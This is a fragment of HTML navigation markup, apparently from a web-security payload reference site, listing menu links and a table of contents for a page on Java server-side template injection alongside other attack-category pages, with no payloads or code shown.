|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Oracle SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PostgreSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQLite Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/SQLmap/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQLmap
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Include Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_48">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Include Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Include Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Request Forgery
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_49">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Request Forgery
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server-Side Request Forgery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SSRF Advanced Exploitation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SSRF URL for Cloud Instances
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" checked>
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="true">
|
||
<label class="md-nav__title" for="__nav_50">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Template Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../ASP/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - ASP.NET
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active">
|
||
|
||
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__link md-nav__link--active" for="__toc">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - Java
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<a href="./" class="md-nav__link md-nav__link--active">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - Java
|
||
</span>
|
||
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#templating-libraries" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Templating Libraries
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#java" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Java
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Java">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#java-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Java - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#java-retrieve-environment-variables" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Java - Retrieve Environment Variables
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#java-retrieve-etcpasswd" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Java - Retrieve /etc/passwd
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Freemarker">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker-read-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker - Read File
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker-code-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker - Code Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#freemarker-sandbox-bypass" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Freemarker - Sandbox Bypass
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#codepen" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Codepen
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#jinjava" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Jinjava
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Jinjava">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#jinjava-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Jinjava - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#jinjava-command-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Jinjava - Command Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#pebble" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Pebble
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Pebble">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#pebble-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Pebble - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#pebble-code-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Pebble - Code Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#velocity" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Velocity
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Groovy">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - Basic injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-read-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - Read File
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-http-request" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - HTTP Request
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-command-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - Command Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#groovy-sandbox-bypass" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Groovy - Sandbox Bypass
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spring-expression-language" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Spring Expression Language
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Spring Expression Language">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spel-basic-injection" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
SpEL - Basic Injection
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spel-dns-exfiltration" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
SpEL - DNS Exfiltration
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spel-session-attributes" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
SpEL - Session Attributes
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#spel-command-execution" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
SpEL - Command Execution
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../JavaScript/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - JavaScript
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../PHP/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - PHP
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Python/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - Python
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Ruby/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection - Ruby
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Tabnabbing
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_51">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Tabnabbing
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Tabnabbing/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Tabnabbing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Type Juggling
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_52">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Type Juggling
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Type%20Juggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Type Juggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Upload Insecure Files
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_53">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Upload Insecure Files
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Upload Insecure Files
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Configuration Apache .htaccess
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_53_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Configuration Apache .htaccess
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
.htaccess
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Cache Deception
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_54">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Web Cache Deception
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Cache Deception
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Sockets
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_55">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Web Sockets
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Web%20Sockets/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Sockets
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XPATH Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_56">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XPATH Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XPATH%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XPATH Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSLT Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_57">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XSLT Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XSLT%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSLT Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_58">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XSS Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XSS%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross Site Scripting
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS Filter Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Polyglot XSS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Common WAF Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSP Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XSS in Angular and AngularJS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XXE Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_59">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
XXE Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../XXE%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
XML External Entity
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
